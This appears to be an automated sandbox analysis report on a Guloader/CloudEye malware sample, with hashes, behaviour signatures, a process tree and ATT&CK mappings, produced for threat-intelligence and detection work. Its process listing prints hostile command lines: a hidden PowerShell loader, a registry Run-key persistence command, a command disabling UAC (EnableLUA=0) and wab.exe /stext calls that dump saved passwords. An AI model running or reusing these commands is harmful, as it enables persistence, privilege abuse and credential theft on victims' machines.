Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
09-07-2024 11:24
Static task
static1
Behavioral task
behavioral1
Sample
MalwareBazaar.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
MalwareBazaar.exe
Resource
win10v2004-20240704-en
General
-
Target
MalwareBazaar.exe
-
Size
400KB
-
MD5
9428d54a4aa6eb66abdca820a8f47d12
-
SHA1
abd2a8b44ee4d5fd4cdb947600f340864dcf254f
-
SHA256
f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd
-
SHA512
14024233434003249a918871e81f10048f13fa2079ce5c0bb78893bfef6621d8daa64031539b2a6b4627019935ea43a8f3de9e56937b5ec8a50af08258653c80
-
SSDEEP
12288:OGnKCJuXGUHTmuGwZyYMggzHm64P5WylOHVqZ:OGjutj/mFZylO1qZ
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Processes:
reg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/1180-70-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/764-72-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Nirsoft 3 IoCs
Processes:
resource yara_rule behavioral2/memory/1180-70-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/764-72-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/1016-69-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
wab.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Offervilliges = "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\\Tilstransportlvr\\').Directoryet;%Quaternary% ($Funktionslederes)" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
Processes:
wab.exepid process 3516 wab.exe 3516 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 4392 powershell.exe 3516 wab.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
powershell.exewab.exedescription pid process target process PID 4392 set thread context of 3516 4392 powershell.exe wab.exe PID 3516 set thread context of 764 3516 wab.exe wab.exe PID 3516 set thread context of 1180 3516 wab.exe wab.exe PID 3516 set thread context of 1016 3516 wab.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
powershell.exewab.exewab.exepid process 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 1016 wab.exe 1016 wab.exe 764 wab.exe 764 wab.exe 764 wab.exe 764 wab.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
Processes:
powershell.exewab.exepid process 4392 powershell.exe 3516 wab.exe 3516 wab.exe 3516 wab.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewab.exedescription pid process Token: SeDebugPrivilege 4392 powershell.exe Token: SeDebugPrivilege 1016 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 3516 wab.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
MalwareBazaar.exepowershell.exewab.execmd.execmd.exedescription pid process target process PID 948 wrote to memory of 4392 948 MalwareBazaar.exe powershell.exe PID 948 wrote to memory of 4392 948 MalwareBazaar.exe powershell.exe PID 948 wrote to memory of 4392 948 MalwareBazaar.exe powershell.exe PID 4392 wrote to memory of 3516 4392 powershell.exe wab.exe PID 4392 wrote to memory of 3516 4392 powershell.exe wab.exe PID 4392 wrote to memory of 3516 4392 powershell.exe wab.exe PID 4392 wrote to memory of 3516 4392 powershell.exe wab.exe PID 4392 wrote to memory of 3516 4392 powershell.exe wab.exe PID 3516 wrote to memory of 2248 3516 wab.exe cmd.exe PID 3516 wrote to memory of 2248 3516 wab.exe cmd.exe PID 3516 wrote to memory of 2248 3516 wab.exe cmd.exe PID 2248 wrote to memory of 3700 2248 cmd.exe reg.exe PID 2248 wrote to memory of 3700 2248 cmd.exe reg.exe PID 2248 wrote to memory of 3700 2248 cmd.exe reg.exe PID 3516 wrote to memory of 1456 3516 wab.exe cmd.exe PID 3516 wrote to memory of 1456 3516 wab.exe cmd.exe PID 3516 wrote to memory of 1456 3516 wab.exe cmd.exe PID 1456 wrote to memory of 592 1456 cmd.exe reg.exe PID 1456 wrote to memory of 592 1456 cmd.exe reg.exe PID 1456 wrote to memory of 592 1456 cmd.exe reg.exe PID 3516 wrote to memory of 764 3516 wab.exe wab.exe PID 3516 wrote to memory of 764 3516 wab.exe wab.exe PID 3516 wrote to memory of 764 3516 wab.exe wab.exe PID 3516 wrote to memory of 764 3516 wab.exe wab.exe PID 3516 wrote to memory of 1180 3516 wab.exe wab.exe PID 3516 wrote to memory of 1180 3516 wab.exe wab.exe PID 3516 wrote to memory of 1180 3516 wab.exe wab.exe PID 3516 wrote to memory of 1180 3516 wab.exe wab.exe PID 3516 wrote to memory of 1016 3516 wab.exe wab.exe PID 3516 wrote to memory of 1016 3516 wab.exe wab.exe PID 3516 wrote to memory of 1016 3516 wab.exe wab.exe PID 3516 wrote to memory of 1016 3516 wab.exe wab.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"4⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"5⤵
- Adds Run key to start application
- Modifies registry key
PID:3700 -
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
- UAC bypass
- Modifies registry key
PID:592 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\idgiecvpdnej"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:764 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lxlafvgjrvwojhd"4⤵
- Accesses Microsoft Outlook accounts
PID:1180 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vzrlxfylfdotlvrqtq"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD5df9af598540cc1e81d51db156a66ddc9
SHA1c3f0c3f9dc69f5b30c6b0d7b53f6a171aa49ec7f
SHA256279f0d7df6d5ffc8b2d9b515de36c7fc5f36708288205a2143e22829b4a9f0d1
SHA512dd6358c6eaf18ac981f94eacee0fe6bd9670bc80e3bee7209bf3c442eb488ce17bdf104830151806c4d7f70c720198c7ae702536d78e05de3d3107a5fade7e11
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD5bd1b326cef85cdd2c476b77c3ef90b46
SHA1c402aaa0b62e294ffa1f4645dbb5798b6891d3bd
SHA256a09dbd894f070dfbdaeec662950cbe91de844d4249fe490cfa3b3f5992060ce3
SHA51262da53fd57b7c053fe9cedd3bc603465a4879aac07d2da118f52a88423865edb9dddeba9650fcf79a26e6db83f5cbb92e49df6a41c4df466c671e485372e0cd7
-
Filesize
71KB
MD5fc2223e92e3b7eb6b306e7489bc9ea76
SHA1a886646121c2d0882b0f69cff28277fea465a431
SHA25686fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af
SHA51298ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e
-
Filesize
342KB
MD5bd2cb39300237694661fcb0686d7aeec
SHA1c912db66db40e04a9436c248d8ee19eaa4e2c5c7
SHA25633deda6aca491470e132ec1feead0d380bd35b792f886a1cd1f1ce29e9b5b21e
SHA51249ecdaa68f3d1502d947faae83da3e24cf2459c6a2576a07dcb14ab0ddc14c76b9d4874d823463e1c4ee4453764cf9c2f2930c3b4ca1513294c003bb8cf21d89